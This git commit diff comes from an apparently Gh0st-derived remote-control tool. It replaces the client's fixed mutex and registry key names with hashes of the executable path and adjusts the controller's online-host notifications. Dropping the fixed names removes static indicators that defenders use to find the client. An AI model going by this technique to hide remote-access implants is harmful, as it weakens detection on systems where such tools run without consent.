Improve: Change registry/mutex name of client program

This commit is contained in:
yuanyuanxiang
2025-12-22 10:52:38 +01:00
parent d580d282d8
commit 3aedb38217
4 changed files with 64 additions and 3 deletions

View File

@@ -217,7 +217,7 @@ int main(int argc, const char *argv[])
status = E_RUN;
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
if (ERROR_ALREADY_EXISTS == GetLastError()) {
CloseHandle(hMutex);
hMutex = NULL;

View File

@@ -3,7 +3,7 @@
#include "common/commands.h"
#define YAMA_PATH "Software\\YAMA"
#define CLIENT_PATH "Software\\ServerD11"
#define CLIENT_PATH GetRegistryName()
#define NO_CURRENTKEY 1
@@ -12,6 +12,41 @@
#include <sddl.h>
#pragma comment(lib, "wtsapi32.lib")
inline std::string GetExeDir()
{
char path[MAX_PATH];
GetModuleFileNameA(nullptr, path, MAX_PATH);
char* lastSlash = strrchr(path, '\\');
if (lastSlash) *lastSlash = '\0';
CharLowerA(path);
return path;
}
inline std::string GetExeHashStr()
{
char path[MAX_PATH];
GetModuleFileNameA(nullptr, path, MAX_PATH);
CharLowerA(path);
ULONGLONG hash = 14695981039346656037ULL;
for (const char* p = path; *p; p++)
{
hash ^= (unsigned char)*p;
hash *= 1099511628211ULL;
}
char result[17];
sprintf_s(result, "%016llX", hash);
return result;
}
static inline std::string GetRegistryName() {
static auto name = "Software\\" + GetExeHashStr();
return name;
}
// 获取当前会话用户的注册表根键
// SYSTEM 进程无法使用 HKEY_CURRENT_USER需要通过 HKEY_USERS\<SID> 访问
// 返回的 HKEY 需要调用者在使用完毕后调用 RegCloseKey 关闭
@@ -159,6 +194,10 @@ public:
{
m_hRootKey = GetCurrentUserRegistryKey();
m_SubKeyPath = path;
if (path != YAMA_PATH) {
static std::string workSpace = GetExeDir();
SetStr("settings", "work_space", workSpace);
}
}
// 写入整数,实际写为字符串
@@ -233,6 +272,10 @@ public:
{
m_hRootKey = GetCurrentUserRegistryKey();
m_SubKeyPath = path;
if (path != YAMA_PATH) {
static std::string workSpace = GetExeDir();
SetStr("settings", "work_space", workSpace);
}
}
// 写入整数(写为二进制)

View File

@@ -53,6 +53,7 @@
#define UM_ICONNOTIFY WM_USER+100
#define TIMER_CHECK 1
#define TIMER_CLOSEWND 2
#define TIMER_CLEAR_BALLOON 3
#define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
#define TINY_DLL_NAME "TinyRun.dll"
#define FRPC_DLL_NAME "Frpc.dll"
@@ -414,6 +415,7 @@ std::string CMy2015RemoteDlg::GetHardwareID(int v)
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{
g_StartTick = GetTickCount();
auto s = GetMasterHash();
char buf[17] = { 0 };
std::strncpy(buf, s.c_str(), 16);
@@ -666,6 +668,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
VOID CMy2015RemoteDlg::CreateNotifyBar()
{
m_Nid.uVersion = NOTIFYICON_VERSION_4;
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值
m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中
m_Nid.uID = IDR_MAINFRAME; //icon ID
@@ -846,7 +849,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
std::to_string(id).c_str());
SendMasterSettings(ContextObject);
if (m_needNotify)
if (m_needNotify && (GetTickCount() - g_StartTick > 30*1000))
PostMessageA(WM_SHOWNOTIFY, WPARAM(title), LPARAM(text));
else {
delete title;
@@ -861,10 +864,12 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) {
NOTIFYICONDATA nidCopy = m_Nid;
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
nidCopy.uFlags |= NIF_INFO;
nidCopy.dwInfoFlags = NIIF_INFO;
lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
nidCopy.uTimeout = 3000;
Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
SetTimer(TIMER_CLEAR_BALLOON, nidCopy.uTimeout, nullptr);
}
if (title->needFree) delete title;
if (text->needFree) delete text;
@@ -1560,6 +1565,18 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
if (nIDEvent == TIMER_CLOSEWND) {
DeletePopupWindow();
}
if (nIDEvent == TIMER_CLEAR_BALLOON)
{
KillTimer(TIMER_CLEAR_BALLOON);
// 清除气球通知
NOTIFYICONDATA nid = m_Nid;
nid.cbSize = sizeof(NOTIFYICONDATA);
nid.uFlags = NIF_INFO;
nid.szInfo[0] = '\0';
nid.szInfoTitle[0] = '\0';
Shell_NotifyIcon(NIM_MODIFY, &nid);
}
CDialogEx::OnTimer(nIDEvent);
}

View File

@@ -164,6 +164,7 @@ protected:
void* m_tinyDLL;
std::string m_superPass;
BOOL m_needNotify = FALSE;
DWORD g_StartTick;
// 生成的消息映射函数
virtual BOOL OnInitDialog();